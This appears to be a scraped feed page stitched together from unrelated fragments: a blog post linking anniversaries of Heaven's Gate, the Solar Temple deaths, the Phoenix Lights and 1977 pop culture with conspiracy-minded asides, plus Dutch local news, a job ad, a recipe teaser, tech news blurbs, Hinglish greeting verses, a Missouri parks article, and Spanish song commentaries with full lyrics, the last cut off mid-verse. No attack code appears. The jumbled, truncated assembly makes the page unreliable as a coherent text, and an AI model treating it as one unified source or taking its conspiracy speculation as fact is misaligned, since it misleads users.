    This week marks the 20th anniversary of the Heaven's Gate suicides, an event I've gone into some detail on this blog. Whatever the media might have you believe the Gate were a bonafide modern Gnostic sect, were serious and rigorous about their work and were deeply troubled by the emergence of the techno-surveillance state they saw emerging at the time. 

    This week also marks the 20th anniversary of the last of the Order of the Solar Temple "suicides" ( rendered in quotes since many investigators suspect foul play by outside parties with the OST mass deaths). I wrote in some detail about the OST and their influence on pop culture here (the X-Files writers seemed especially fascinated with the OST and their unique status and history and the lingering questions over their deaths).

    Postmortem reports claimed that the OST committed ritual suicide in order to spiritually ascend to Sirius, where they believe their souls originated from. If this is true this is another troubling link to the "Walk-Ins from Sirius" theme from Ruth Montgomery's seminal Aliens Among Us, which has also been linked to the Heaven's Gate suicides.

    Last week marked the 20th anniversary of the Phoenix Lights flap, a controversial UFO sighting that caused a major media meltdown and has been the focus of a growing mythology ever since. What is particularly interesting about the Phoenix episode- however you view it-- is that it took place right down the highway from the Heaven's Gate compound in Rancho Santa Fe, CA. 

    It may have been seen as the final sign that their ride was here, seeing as how the web-savvy cult was monitoring all kinds of infostreams for omens and portents. 

    Next week also marks the 20th anniversary of the Outer Limits episode "Double Helix," which plays out like an idealized fantasy world version of Marshall Applewhite's most cherished beliefs. 

    Seeing as how the suicides were discovered before its airing it plays like an elegy, a bizarre epitaph for the cult, its leader and their beliefs. How the hell that happened is anyone's guess.

    Speaking of double helixes, 1997 saw the announcement that the first major cloning had been done, of "Dolly" the sheep. The news was broken in Roslin, Scotland, of all places (Dan Brown fans take note). More ominously it was also the year IBM's Deep Blue beat Garry Kasparov in chess. 

    Coincidentally or not, Steve Jobs returned to Apple a few months later and changed the world as we knew it. One of his last projects was designing the Apple HQ, which looks like a friggin' flying saucer.

    Why do all those events feel so closely entwined? We can't say we weren't warned.



    1987 is the 30th anniversary of the publication of Whitley Strieber's seminal autobiography Communion, which brought the concept of alien abduction out of the fringes and into book store in America and other parts of the world. 

    It's hard to explain to younger people what a phenomenon this book was, the controversy it engendered, and the effect it had on the culture. Strieber was a well-known author of best-selling horror novels, a couple of which had been adapted into movies (Wolfen and The Hunger) but never enjoyed a success like Communion, which stayed on the New York Times best-sellers list for months and sold millions worldwide.

    Daytime talkshows were suddenly fora for abductees, whether real or imagined, as were popular tabloid TV shows like Unsolved Mysteries. The craze made celebrities out of Strieber, abduction researchers like Budd Hopkins and David Jacobs and later, Harvard psychologist John Mack. 

    Oldline UFO researchers stewed on the sidelines, having traditionally regarded abduction reports with suspicion, if not contempt. Communion would lead to other projects, the Travis Walton biopic Fire in the Sky, The X-Files (which became an even greater phenomenon than Strieber's book), and the Steven Spielberg maxi-series Taken (which would be the SciFi Channel's most-watched series at the time of its airing).



    1987 was also the year New Age seeped into the mainstream and has been insidiously rewriting its host body like a computer virus ever since. Pop culture was the medium yet again- a miniseries based on Shirley MacLaine's "spiritual authobiography" Out On a Limb was aired on ABC and planted the seeds for the Me Generation's catch-as-catch-can Theosophy 2.0. 

    1987 saw "Ramtha" go wide with the publication of JZ Knight's autobiography, A State of Mind. Channeling soon became a multimiilion dollar industry, with hundreds of mini-Ramtha's popping out of the woodwork dispensing greeting card homilies for a spiritually-indiscriminate polity.

    All you needed to do was squint, loll your head around meaningfully, adopt a weird quasi-British accent and learn to spout pseudo-profoundities and you were in clover.

    Again, the New Age craze is hard to explain today, though in large part because the New Age is so ubiquitous today it's woven into the cultural fabric of most Western- and many non-Western- cultures. 

    Yoga studios can be found in every sizable American town. Acupuncture and other "alternative" modalities are often covered by health insurance programs. Health food stores are slowly displacing conventional supermarkets and many more traditional houses of worship offer New Age programs (meditation, yoga, self-actualization) to their congregants.

    1987 also saw the Harmonic Convergence (aka the "New Age Woodstock"), meant to act as the movement's big hop over the cultural fence. But its organizers (which included the original 2012 guru, Jose Arguelles) deeply misjudged the true nature of the movement and how it actually existed in the ideational biosphere. 

    This wasn't a revolution, it was a slow-moving insurrection, one that subverted culture from within, all the while denying its very existence (the hallmark of a true New Ager is that they deny actually being a New Ager). Big, showy events weren't going to do the work. Tenacious, relentless but quieter actions were going to insinuate New Age into the mainstream.



    1987 saw the Iran-Contra Affair- in which arms were sold to Iran in exchange for American hostages held by Iran-controlled radicals and the profits then diverted to anti-Sandinista militants in Nicaragua- become the major news story, dominating the headlines and Sunday talk shows for the entire year and into the next. 

    Iran-Contra is also arguably the impetus for the true mainstreaming of conspiracy theory (just in time for the dawning of the Internet Era). Conspiracy research wasn't a fringe hobby then, it was front page news all across the world. It's just that the virus escaped from the lab and filtered down into places the mainstream media would have rather it hadn't.

    But the real groundwork for the rise of conspiracy culture would be laid ten years earlier when the first fully-functional home computer, the Commodore PET was debuted at a trade show. 

    Conspiracy theory may have thrived on talk radio (and short wave and ham radio, not to mention mail order) but it would explode on the Internet, even in the crudest venues of the BBS dial-in days.

    At the same time the Commodore was unveiled, a new President from Plains, Georgia took office who swore to tear the lid off government corruption (and significantly, UFO secrecy) in Washington. 

    Things, predictably, wouldn't work out so well for him.

    1977 saw the commoditization of the modern Hollywood blockbuster-- already having birthed itself in 1975 with Steven Spielberg's Jaws. 

    George Lucas' spiritual SF epic Star Wars and Spielberg's UFO fantasia Close Encounters of the Third Kind changed the rules forever (you can throw in Saturday Night Fever if you like, as it spawned the rise of the blockbuster soundtrack as well) and, as many would argue, planted the seeds for the eventual creation empoverishment of the Hollywood they created.

    In today's market, doubles and triples are no longer be enough, you need to either write a movie off as a tax loss or score a grand slam blockbuster, complete with merchandising and ancillary rights.

    But Star Wars and Close Encounters were such monsters because they filled a genuine void in the culture, a need for miracle and transcendence in a rapidly-secularlizing culture. In their wake the movies would become the dream theater of the masses, in the same way the great cathedrals were to the peasants of the Middle Ages.

    Both films struck at the right time- NASA tested its first space shuttle at the beginning of the year, promising a new era in space exploration. One that has yet to come to pass, 40 years later. Even so the mood was right at the time.

    On the other end of the ritual spectrum 1977 also saw the arrest of David Berkowitz, whom the media named as the sole "Son of Sam" killer despite the fact that witnesses had cogently and explicitly described other shooters not matching his description. 

    Berkowitz himself would later claim he was a member of a sect of the Process Church of the Final Judgement, he was not the only shooter and that the killings were human sacrifices. And as fate would have it two of the men he claimed as his accomplices would die under mysterious circumstances not long after Berkowitz was arrested. 

    And their father was named Sam.

    Also in the summer of 1977, Elvis Presley died after a long struggle with obesity and prescription drug abuse. 

    It was poetic in a Greek tragedy kind of fashion since '77 not only saw the precipitous rise of Disco as an all-consuming craze (Donna Summer had the first hit with a totally-synthesized record, "I Feel Love," that year) but also the breakthrough of punk rock and first-wave New Wave (the Sex Pistols, the Clash, Elvis Costello and Talking Heads all released their debuts), which took the basic, four to the floor rock 'n' roll Presley cut his teeth on and wed it to postmodernism, Dada and other weird, Continental theories that old-timers like the King would never have anything to do with.

    Not that most of America even noticed. The Eagles' Hotel California, Pink Floyd's Animals and Fleetwood Mac's Rumors were albums most of the public were actually buying. Punk bombed bad in its first assault on American record stores and most of the first wave bands would soon break up or radically water down their styles in a bid to make it to the US Top 40. 

    New Wave, which began as a marketing ploy to ease punk into the American market, would become the musical equivalent of New Age, a contagion that would insinuate itself into the host and rewrite the matrix from within. 

    40 years later New Wave concepts are so dominant (irony and sarcasm not the least among them) in pop they're no longer recognized as distinct or unique. But that process began in earnest over 35 years ago, when MTV began beaming art school weirdos from England into a growing number of American living rooms. 

    In short order even Jethro Tull and Bob Dylan- the onetime crunchiest of the crunchy- were recording with drum machines and sequencers.

    There's more to come. 




              TERNAT - De bib maakt het gezellig voor de Ternatse lezer met extra openingsuren en een zomerprogrammatie   

    Tijdens de maanden juli en augustus palmt de bib het gemeenteplein in met haar collectie en doopt het om tot boekenplein. Tijdens deze zomerhappening wordt wekelijks een workshop georganiseerd en iedere donderdag is de bib tijdens een heuse nocturne open tot 21u. Bovendien is de bib deze zomer extra veel open: vanaf 1 doorlopend open van 10-19 u van maandag tot donderdag.


              TERNAT - KWB organiseert "Korte keten" gezinsfietstocht op 2 juli   

    "Onze traditionele gezinsfietstocht van begin Juli krijgt een nieuw tintje", zegt Marc Despieghelaere van KWB Ternat, "We organiseren een “korte-keten” tocht. De “korte voedselketen” is je voeding of producten halen bij of laten bezorgen door lokale producenten. Op 2 juli gaan we op onze gezinsfietstocht een aantal van die lokale producenten bezoeken", zegt Marc.


              Restaurant Manager   
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              Restaurant Manager   
    PA-Bensalem, No One Understands Your Desire For Growth Like The Rose Group (Applebee’s). We are now hiring in our Philadelphia Market! Bensalem, Northeast Philadelphia, Jenkintown and Newtown! By recognizing the importance of our people and investing in their future, The Rose Group makes sound investments in their own. Growth opportunities, an engaged organizational culture, and focus on personal and professio
              Pineapple Fried Rice   

    Ever get tired of the same old side dishes? Me too! Our go-to’s are mashed potatoes, roasted herb potatoes, a couple of varieties of Rice-a-Roni, or traditional fried rice. A couple of years ago, I was making teriyaki chicken.  Art and I decided to throw together something a little bit different, for a side dish. …

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              How Secure Is Apple Pay?   
    Since debuting in late October, Apple Pay has certainly proved to be easy, convenient and popular. Upstaging previous efforts by Google, eBay and various start-ups, the latest mobile-wallet venture is now accepted at some 700,000 locations across the United States and has 2,500 partnering banks and institutions. But is it secure? Not according to recent reports, which suggest that Apple Pay has actually made for easier credit fraud — and has already resulted in 60 times higher rates of fraud …
              Smartphone Smarts During Trade-In   
    The typical cellphone user upgrades every 18 months. Trade-in programs like those recently announced by Apple and Walmart could spark even quicker stampedes for the latest-and-greatest models – with turned-in phones still full of personal data. “Most people consider a smartphone a communications device,” notes Adam Levin, former New Jersey Director of Consumer Affairs and founder of Identity Theft 911, a provider of identity management and breach-response services for businesses. “What many people don’t realize is that it’s a data …
              Samsung rompió sus récords encadenados de beneficios en el cuarto trimestre de 2013   
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              Apple venderá sus iPhone con China Mobile, el mayor operador telefónico del mundo   
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               A beautiful smile and released   
    Jab Se Hui He Aapse Dosti,
    Tab Se Ek Hi Khayal Maan
    Me Baar Baar Aata He…
    Jal TU Jalal Tu Aai Bala
    Ko Tal Tu…Khi Khi Khi
    Good Morning





              I am always with you in any time.   
    Mujhe Udaas Dekhkar Usne Kaha,
    Mere Hote Hue Tumhe Koi Dukh
    Nhi
    De Skta,
    "PHIR AISA HI HUA"
    Zindagi Mei Jitne Dukh Mile,
    Sab Usi ne Diye.....

    Sochte He Ke Gulab Bhej De,
    Chahte To He Ki Sara jahan Bhej De,
    Bas Ja Rahe Ho Sone
    Dil To Karta He Hamara
    Aapki Palko Pe Ek Pyara Sa Khwab
    Bhej De….Good Morning



    Jab Raat Ko Kisiki Yaad Sataye…
    Suhani Hava Jab Balo Ko Sahelaye
    To Karlo Ankhe Bandh Aur So Jao
    Kya Pata Maan Me He Jiska Khayal
    Wo Aapke Khwabo Me Aa Jaye
    Good Night

              Happy Housewife   
     Zindagi Mein Teri Yaadon Ko Bhula Doon Kaise,
    Raat Baki Hai Chiragon Ko Bujha Doon Kaise,

    Kiss Tarah Dil Mein Tere Apni Tammana Rakh Doon,
    Khwab Apne Teri Aankhon Mein Saja Doon Kaise,


    Jab Se Hui He Aapse Dosti,
    Tab Se Ek Hi Khayal Maan
    Me Baar Baar Aata He…
    Jal TU Jalal Tu Aai Bala
    Ko Tal Tu…Khi Khi Khi
    Good Morning


      

    Raat Aai To Fir
    Jis Par Ham Soya Karte The
    Wo Palang Yaad Aa raha He
    Dosto Ke Sath Ki Hui Sararto
    Ka Wo Bachpan Yaad Aa Raha He
    Socha Aaj Kah De Good Night
    Hame Ye Khayal Aa raha He….
    Good Night




    Pani me gira rumal to rumal gila He
    Aasman me dekha to aasman bhi nila He
    Muhabat to sab karte hai par
    Mai karu to sala character dhila hai 

              Wag the tail of the dog days   

    By Tom Uhlenbrock

    What’s a matter, Bunky? Heat and humidity got you down? Feel like a flower wilting in the sun? Already dreaming of a white Christmas?

    Missouri offers several sure-fire ways to beat the dog days of summer. Here are a few tried-and-true favorites.

    Float your boat: Missouri’s Ozark streams are spring fed, so the water’s always clear and cold. The Current River flows under a dappled canopy of green as it leaves Montauk State Park on its way to Cedargrove. Further down, Welch Spring dumps in 105 million gallons of crystalline water, every day. That will revive your spirits.

    Explore a cave: There are four cave tours offered in three state parks. Onondaga Cave State Park has tours of its spectacular namesake, and of Cathedral Cave. It’s a whole ‘nother world down there, and the temperature is always a cool 57 degrees.

    Jump in the lake: The two main beaches at Lake of the Ozarks State Park can get a bit crowded. Try McCubbin Point, where you can swim in a more secluded spot. You’ll pass the entrance to Ozark Caverns on the way, so this can be a twofer.

    Hang out at a bar: Head to Sam A. Baker State Park, stop at the main campground and take the short stroll to the gravel bar lining Big Creek. Sink your lawn chair at the edge, and dip your toes into this gentle stream. You can wade, fish, or do nothing and the price is right. Free, like all state parks.


              La Prisión - Maná   
    por Javier Rubio Hípola 

    Experiencia: El abuso y la violencia son lo contrario del amor. De la misma manera que la Prisión de una relación de abuso sexual es lo contrario de un amor familiar armónico. El hombre está hecho para amar siendo libre. 

    Vídeo Musical: La banda de Maná toca la canción en un desierto y entre escenas se desarrolla narrativamente el caso de una mujer que logra escapar de una situación de abuso por parte de su pareja. Intercaladas se muestran algunas tomas de personas con el rostro pintado a rallas simbolizando las rejas de la prisión silenciosa del abuso donde viven esclavizadas tantas personas en todo el mundo.

    Significado de La prisión: Maná nos ofrece este sencillo poderoso y cargado de denuncia social. En el mundo del siglo XXI, también en el occidente primermundista se dan aún casos alarmantes de abuso de pareja. En este sentido todavía existe la esclavitud: la esclavitud del que vive atrapado en una relación de abuso. 

    Nada más lejos de la propuesta de amor y de familia anunciados por el pensamiento cristiano en sus enseñanzas sociales. La familia debe ser el motor y fundamento de cualquier sociedad. Pero debe tratarse de una familia que promueva la educación de los hijos. Y ese ambiente sólo puede darse sobre los cimientos de un amor dispuesto a respetar y a valorar antes que a golpear y a abusar.

    Pregúntate: ¿Cuáles crees que deben ser las tres características principales de una relación sana? ¿Por qué motivos crees que se dan casos de abuso en la sociedad? ¿Qué se puede hacer en la práctica para solucionar ese problema?  

    LETRA:
    No regreso a tu cárcel 
    No regreso a tu prisión, a la opresión 
    Que por miedo a perderte 
    El silencio me invadió y mi vida encarcelo 

    Quiero ahogarme en otros labios 
    En otro sol, liberación 
    Voy a liberarme, voy a rescatarme 
    No regreso a tu prisión... 

    No regreso corazón 
    A la prisión 
    No volveré 
    Voy a liberarme hoy 

    No no! No mi amor! 
    No no, no regreso a tu cárcel 
    No no, no mi amor, no mi amor 
    Uoh uoh! 

    Fui cayendo en la demencia 
    Con la urgencia de escapar, para no volver jamás 
    Ya no aguanto las paredes 
    Ni las redes del el control, no soporto tu prisión 

    Quiero ahogarme en otros labios 
    En otro sol, liberación 
    Voy a liberarme, voy a rescatarme 
    No regreso a tu prisión 

    No regreso corazón 
    A la prisión 
    No volveré 
    Voy a liberarme hoy 

    No no! No mi amor! 
    No no, no regreso a tu cárcel 
    Prisión, no mi amor, prisión 
    No no, uoh uoh yeh, no mi amor 
    Jamás regreso a tu cárcel no 

    No regreso a tu prisión, no no 
    No regreso a tu prisión 
    No regreso a las paredes 
    De las redes del control 
    No mi amor! 

              Hoy será - Antonio Orozco   
    http://www.lastfm.it/por Javier Rubio Hípola 

    Experiencia: ¿Es la vida como un baile, como una fiesta? ¿O es algo más? Para algunos el paso del tiempo no es un motivo para aprovecharlo ayudando a los demás, dejando una huella de bien en este mundo. Para otros es una excusa para abandonarse al placer. 

    Vídeo Musical: Se trata de una cadena de actos de generosidad, de caridad, de amabilidad gratuita: personas que, ayudando a los demás, terminan encerrados en un "círculo virtuoso" de obras buenas. Cuánta razón hay en la afirmación de que el bien tiende a difundirse. Sobre el misterio de la libreta final: quiero pensar que es la libreta donde Antonio escribe sus canciones de esperanza, que termina precisamente en manos de quien más la necesita.

    Significado de Hoy será: Antonio nos propone una canción sobre la esperanza. Y no se trata de una esperanza que se "auto-resuelve", sino que consiste en el esfuerzo y en la generosidad de las personas que están dispuestas a sacarle provecho. Es cierto que "hoy será" y que "la suerte está cambiando". Pero no menos cierto es que la suerte sonríe a los audaces, a los que están dispuestos a luchar y a conquistar el mundo hasta ponerlo a sus pies. 

    Tenemos que aprender de "las penas del pasado" y confiar en el hoy para poder construir un mejor mañana.

    Pregúntate: ¿En qué tienes puesta tú la esperanza? ¿Qué es aquello que, según tu punto de vista, en cuanto se resuelva te va a solucionar la vida de forma definitiva? ¿Cuál es tu papel en esa esperanza? ¿Protagonista, espectador o víctima?  

    LETRA:
    No estemos serios aquí no pasa nada, 
    Hoy es el día no puede haber más ganas. 
    Está llegando, te dije que esperaras 
    La vida está llamando, ¿quién dijo que mañana? 

    Hoy será, sabes, hoy será. 
    Se trata de lo nuestro, se trata de empezar 
    Y hoy será, sabes que hoy será. 
    La suerte está cambiando y vamos a ganar. 

    Siente que el mundo está a tus pies, 
    Siente que hoy todo puede ser. 
    Hoy será, sabes que hoy será, 
    Las penas son de ayer. 
    Sabes que hoy todo puede ser. 

    No queda tiempo, sujeta bien las alas, 
    Hoy esperamos lo de ayer no pesa nada. 
    Tus manos son las velas, tus pies serán dos balas. 
    Estamos (reliquiendo y en do no manda nada) 

    Hoy será, sabes, hoy será. 
    Se trata de lo nuestro, se trata de empezar 
    Y hoy será, sabes que hoy será. 
    La suerte está cambiando y vamos a ganar. 

    Siente que el mundo está a tus pies, 
    Siente que hoy todo puede ser. 
    Hoy será, sabes que hoy será, 
    Las penas son de ayer. 
    Sabes que hoy todo puede ser. 

    "Barcelona, Madrid, Sevilla, 
    Valencia, San Juan de Puerto Rico, 
    México, Buenos Aires, Bogotá, Hospitalet, 
    Como solo, solo todo el mundo lo sabe" 

    Siente que el mundo está a tus pies, 
    Siente que hoy todo puede ser. 
    Hoy será, sabes que hoy será, 
    Las penas son de ayer. 
    Sabes que hoy todo puede ser. 

              Vivo Ahora - Cali & El Dandee ft. Lucas Arnau    
    por Javier Rubio Hípola 

    Experiencia: ¿Es la vida como un baile, como una fiesta? ¿O es algo más? Para algunos el paso del tiempo no es un motivo para aprovecharlo ayudando a los demás, dejando una huella de bien en este mundo. Para otros es una excusa para abandonarse al placer. 

    Vídeo Musical: Un vídeo sobre el cast para esta canción. Entre escenas de los cantantes rodeados de mujeres en una fiesta aparecen tomas de los mismos haciendo el casting para los bailarines de esta canción. Sólo aparece un bailarín que, de alguna forma, logra representar el ideal de esta canción: hay que disfrutar la vida con abandono y risas, sin responsabilidades.

    Significado de Vivo Ahora: Con este sencillo de ritmos veraniegos el grupo Cali & El Dandee, acompañados de la música de Lucas Arnau proponen un estilo de vida YOLO: sólo vives una vez, así que aprovecha: pásatelo en grande, disfruta. El problema de esta propuesta es que no todos podemos: la mayoría de los mortales trabajamos para poder tener una vida digna. Y es cierto que la vida está para vivirla, no para sufrirla. Pero no menos cierto es que gran parte de ese "vivirla" consiste en darle un sentido al sufrimiento, en ayudar a los demás para hacer un mundo mejor y en luchar para ser mejores personas. Un ideal bastante alejado de lo que nos propone esta canción.

    Pregúntate: ¿Qué imagen representa mejor la vida (como una alegoría) para ti? ¿Un camino? ¿Una carrera? ¿Un partido de fútbol? ¿Una escalada? ¿Una fiesta?... ¿Cuáles son los elementos principales de esa imagen? ¿Coinciden con lo que proponen Cali & El Dandee?  

    LETRA:
    Yeah uoh uoh uuuuh 

    Voy a vivir (voy a vivir) 
    Porque la vida solo es una sola 
    Cada segundo yo lo voy a sentir (eh) 
    Y los momentos ya los vivo ahora (vivo ahora) 
    Para reír 

    Voy a vivir 
    La vida es una sola 
    Quiero vivirla ahora 
    Quiero vivirla ahora 

    (Cali y El Dandee otra vez) 
    Pero la vida es una sola 
    Quiero vivirla ahora 
    Quiero vivirla ahora 

    (Cali y El Dandee yaoh) 
    Ya no me importa el mañana, yo vivo ahora 
    Y hoy brindamos por la gente que no tiene hora 
    La gente que vive, que si se enamora 
    Porque alguien que bailar, es alguien que no llora 
    Vinimos a celebrar (yeah) 
    Vivimos para cantar (yeah) 
    Welcome to enjoy your life 
    Welcome to life 

    Siento la respuesta en tu mirada cuando llega la fiesta 
    (Lo pase lo que pase llega a respuesta 
    Y de la vida yo tengo la camiseta puesta) 
    Corre por tus venas esas ganas de que nunca amanezca 
    (Al final tu tienes que partir pero esta noche...) 

    Voy a vivir 
    Porque la vida solo es una sola 
    Cada segundo yo lo voy a sentir 
    Y los momentos ya los vivo ahora 
    Para reír 

    Voy a vivir 
    La vida es una sola 
    Quiero vivirla ahora 
    Quiero vivirla ahora 

    (Y dale otra vez) 
    Pero la vida es una sola 
    Quiero vivirla ahora 
    Quiero vivirla ahora 

    Siente la magia en una noche que no tiene final 
    Y eso es una señal, sentimiento mundial 
    No me importa dónde vamos, importa el camino 
    Soñar y destino, son tal para cual 
    Se vive la fiesta, yo vivo el momento 
    La música suena y lo siento por dentro 
    No importa lo que digan, es un juramento 
    Promete vivir sin arrepentimientos (uoh) 

    Siento la respuesta en tu mirada cuando llega la fiesta 
    (Lo pase lo que pase llega a respuesta 
    Y de la vida yo tengo la camiseta puesta) 
    Corre por tus venas esas ganas de que nunca amanezca 
    (Al final tu tienes que partir pero esta noche) 

    Voy a vivir 
    Porque la vida solo es una sola 
    Cada segundo yo lo voy a sentir 
    Y los momentos ya los vivo ahora 
    Para reír 

    Voy a vivir 
    Pero la vida es una sola 
    Quiero vivirla ahora 
    Quiero vivirla ahora 

    (Y dale otra vez) 
    Pero la vida es una sola 
    Quiero vivirla ahora 
    Quiero vivirla ahora 

    Vivir para soñar 
    Bailar para volar 
    No preguntar con quién ieh ieh 
    Pensar de otro calor 
    Buscando estar mejor 
    Vivir para estar bien 

    Voy a vivir 
    Porque la vida solo es una sola 
    Cada segundo yo lo voy a sentir 
    Y los momentos ya los vivo ahora 
    Para reír 

    Voy a vivir 
    La vida es una sola 
    Quiero vivirla ahora 
    Quiero vivirla ahora 

    (Cali y El Dandee yaoh) 
    Pero la vida es una sola 
    (Lucas Arnau) 
    Quiero vivirla ahora 
    Quiero vivirla ahora 
    Yeah

              Pastillas Para Dormir - Estopa   
    por Javier Rubio Hípola 

    Experiencia: A veces el escape parece la vía más fácil: simplemente dejar atrás las experiencias e intentar sumergirse en el olvido. Pero el hombre no está hecho para vivir solo...  

    Vídeo Musical: En espera.

    Significado de Pastillas para dormir: Canción de su octavo disco de estudio, "Rumba a lo desconocido". Es una canción sobre un amor que ha ido perdiendo su frescura hasta quedar seco. La reacción es huir: irse sin equipaje, sin recuerdos. El valor de la unidad se deforma y el nuevo lema de vida es ese "me voy, hasta luego". Las pastillas para dormir simbolizan precisamente el recurso de la separación: ya no sales ni en los sueños, así que uso pastillas para dormir. Pero ¿es posible huir de nuestro pasado? ¿Olvidar simplemente porque quiero olvidar? El hombre no está hecho para la soledad, para vivir solo. Y nuestro corazón nos lo recuerda continuamente.

    Pregúntate: ¿Qué tipo de amor crees que puede llenar de verdad el corazón humano? ¿Un amor pasajero, construido a base de experiencias de placer? ¿O un amor con sentido, que nos hace mejores personas? ¿Has sentido alguna vez en tu corazón el eco de un amor trascendente, eterno, más allá de los confines de esta vida?  

    LETRA:
    Hoy me voy sin equipaje 
    Me he perdido tantas veces en el viaje 
    No contestaré mensajes 
    Y ya hace tiempo que me hace falta el coraje 

    Ya no sé si te odio o si te quiero 
    Déjame que quiero seguir viviendo 

    Hoy yo me voy hasta luego 
    Será que ya no nos echamos tan de menos 
    Se nos secó el aguacero 
    Será que ya no nos tenemos ni en lo sueños 

    Si llueve por el camino 
    Me voy hasta luego 
    Si no sales ni en los sueños 
    Me voy hasta luego 
    Pastillas para dormir 
    Yo me voy hasta luego 
    Y me quito el sombrero 

    Y en mi soledad 
    Si no tengo más raíces 
    Que las que me han dejado las cicatrices 
    Paso las noches en vela 
    Confundiendo el invierno con primavera 

    Ya no sé si te odio o si te quiero 
    Déjame que quiero seguir viviendo 

    Hoy yo me voy hasta luego 
    Será que ya no nos echamos tan de menos 
    Se nos secó el aguacero 
    Será que ya no nos tenemos ni en lo sueños 

    Si llueve por el camino 
    Me voy hasta luego 
    Si no sales ni en los sueños 
    Me voy hasta luego 
    Pastillas para dormir 
    Yo me voy hasta luego 
    Y me quito el sombrero 

    Hoy yo me voy hasta luego 
    Será que ya no nos echamos tan de menos 
    Se nos secó el aguacero 
    Será que ya no nos tenemos ni en lo sueños 

    Si llueve por el camino 
    Me voy hasta luego 
    Si no sales ni en los sueños 
    Me voy hasta luego 
    Pastillas para dormir 
    Yo me voy hasta luego 
    Y me quito el sombrero 

    Quiero mi soledad

              La Vida (Respira el Momento) - Calle 13   
    por Javier Rubio Hípola 

    Experiencia: El himno de este tremendo rap de Calle 13: Respira el momento. Aprovecha cada instante de la vida. Una reflexión sobre el paso del tiempo y el valor de la vida. 

    Vídeo Musical: Un video metafórico: comienza con una carrera al amanecer en la que el corredor va creciendo desde recién nacido hasta la vida adulta: hombre, mujer, de todos los estratos sociales, de todas las denominaciones culturales. Al fin un anciano deja de correr y se sienta en mitad del camino. Es de noche y se pone a revisar sus fotos, a recordar lo que ha sido su vida hasta el momento de la muerte, en el que la última foto se quema.

    Significado de La vida (respira el momento): Canción de su último dico "Multiviral". Se trata de un rap que por un lado describe poéticamente la vida humana, su desarrollo, su crecimiento en el paso del tiempo (encajando con el simbolismo del vídeo); por otro lado pretende hacer despertar inquietudes, preguntas. En eso consiste la "rebelión" de Calle 13: no se trata de hacer una crítica, un dibujo más o menos caricaturizado de la vida. Su objetivo es que sus oyentes (tú y yo) nos enfrentemos a la realidad descrita por la canción y que nos preguntemos: ¿qué estoy haciendo con mi vida? ¿Estoy "respirando el momento"? ¿O lo estoy dejando pasar, una y otra vez?

    Pregúntate: ¿Qué estoy haciendo con mi vida? ¿Estoy "respirando el momento"? ¿Cuándo ha sido la última vez que has hecho algo que realmente merezca la pena? ¿Cuándo ha sido la última vez que te has preguntado por el sentido de la vida? ¿Qué quieres dejar en este mundo antes de tu muerte? ¿Qué cosas quieres hacer antes de que sea demasiado tarde?  

    LETRA:
    Uno nace mientras el planeta gira 
    Los pulmones abren la nariz respira 
    Escuchamos al mundo con todo su alboroto 
    Los parpados suben y los ojos tiran fotos 
    Si salimos de la cuna para dormir en la cama 
    Nos crecen los brazos como crecen las ramas 
    Como crecen las hojas nos crecen las manos 
    Como crecen los días cuando madruga temprano 
    Los segundos los minutos y las horas 
    Germinan así como los días empiezan y terminan 
    Los meses se disfrazan según el meridiano 
    Otoño invierno primavera verano 
    Y se ajusta el camino a nuestros pasos 
    Así como el agua se adapta a su vaso 
    Nuestro corazón se aclimata a la altura 
    Y nos adaptamos a cualquier aventura 
    Pueden sumar con prisa pueden restar con calma 
    Da igual porque las matemáticas no tienen alma 
    Aunque calculemos todo y le pongamos nombre propio 
    Nuestro espíritu no lo pueden ver los microscopios 
    Nadie se puede acobardar nacimos siendo valientes 
    Porque respirar es arriesgar 
    Este es el momento de agarrar el impulso 
    Las emociones las narra nuestro pulso. 

    Respira el momento. 
    Respira el momento. 

    En nuestra galaxia la historia se expande 
    Desde lo más simple hasta lo más grande. 

    Crecimos junto a los cuerpos celestes 
    Somos el norte sur este y oeste 
    Somos la tierra con todas sus huellas 
    Una súper nova entre todas las estrellas 
    Absorbemos la luz de los rayos 
    Mientras la clorofila navega por los tallos 
    Los grados y centígrados calientan los termómetros 
    A 150 millones de kilómetros 
    Hay una vía láctea repleta de neuronas 
    Porque reproducimos mas ideas que personas 
    No somos pequeños ni muy grandes tampoco 
    Somos muchos y también somos pocos 
    Somos el golpe cuando aterriza 
    Y también somos la piel cuando cicatriza 
    La muerte nunca nos venció 
    Porque todo lo que muere 
    Es por que alguna vez nació. 

    Respira el momento. 
    Respira el momento. 

    En nuestra galaxia la historia se expande 
    Desde lo más simple hasta lo más grande. 

    Lengua beso boca labio niño joven viejo sabio 
    Calvo rizo pelo lacio techo casa cielo espacio 
    Sexo orgasmo se humedece 
    Quizás nunca siempre a veces 
    Libro letra cuento narra ron con hielo o trago barra 
    3 millones de latidos en un periodo mensual 
    Caminamos dando 10 mil pasos en un día normal 
    Crudo hervido asado frito birra iglesia rezo grito 
    Muy poquito demasiado corro vuelo salto nado 
    Puede llegar algún día el colmo de la biología 
    Vivir con sangre caliente pa morir a sangre fría. 

    Respira el momento. 
    Respira el momento. 

    En nuestra galaxia la historia se expande 
    Desde lo más simple hasta lo más grande (x2).

              Me Voy Enamorando - Chino Y Nacho‬‬ ‪ft. Farruko   
    por Javier Rubio Hípola 

    Experiencia: El mensaje de Chino y Nacho al final de la canción: "Ante cualquier enfermedad no existe remedio o tratamiento más efectivo que el amor". 


    Vídeo Musical: Esta es una de las canciones en las que el valor del clip musical supera a la canción misma: una historia de amor, similar a la popular "Bajo la misma estrella". Los ingredientes: un romance estudiantil, una chica con cáncer y un chico con talento para cantar y tocar la guitarra y mucho cariño por su chica. Una buena imagen de un amor inocente e incondicional.

    Significado de Mo voy enamorando: El punto focal del vídeo y de la canción es el beso que abre las puertas de la relación. Paradójicamente (se trata de un reggae latino, a fin de cuentas), la letra no es especialmente explícita o de mal gusto. En este sentido se acopla bastante bien al vídeo y sus repeticiones pegajosas nos permiten poner atención a la historia. Desde el beso hasta prácticamente el final de la canción los versos son más bien metáforas de enamoramiento, con algún que otro ajuste un poco raro para no perder la rima.

    Pregúntate: ¿Cómo describirías tú el enamoramiento? ¿Cuáles son las etapas? ¿Cuántas veces te has enamorado en tu vida? ¿Con quiénes? ¿Cuál ha sido tu relación con tus seres queridos que han caído víctimas de la enfermedad?  

    LETRA:
    Ohhhh ouhooo 
    Me voy enamorando 
    Los del romantiqueo 
    Ohhhh ouhooo 

    Me voy, me voy enamorando 
    Ohhhh ouhooo 
    Chino, Chino y Nacho 
    Me voy enamorando (Nacho) 
    Master sellers 
    Farruko, Tainy 

    Apenas nos vimos 
    Sé que nos sentimos brutal 
    Y a mí me tiene mal 

    Y tu sonreías 
    Seguro sabias 
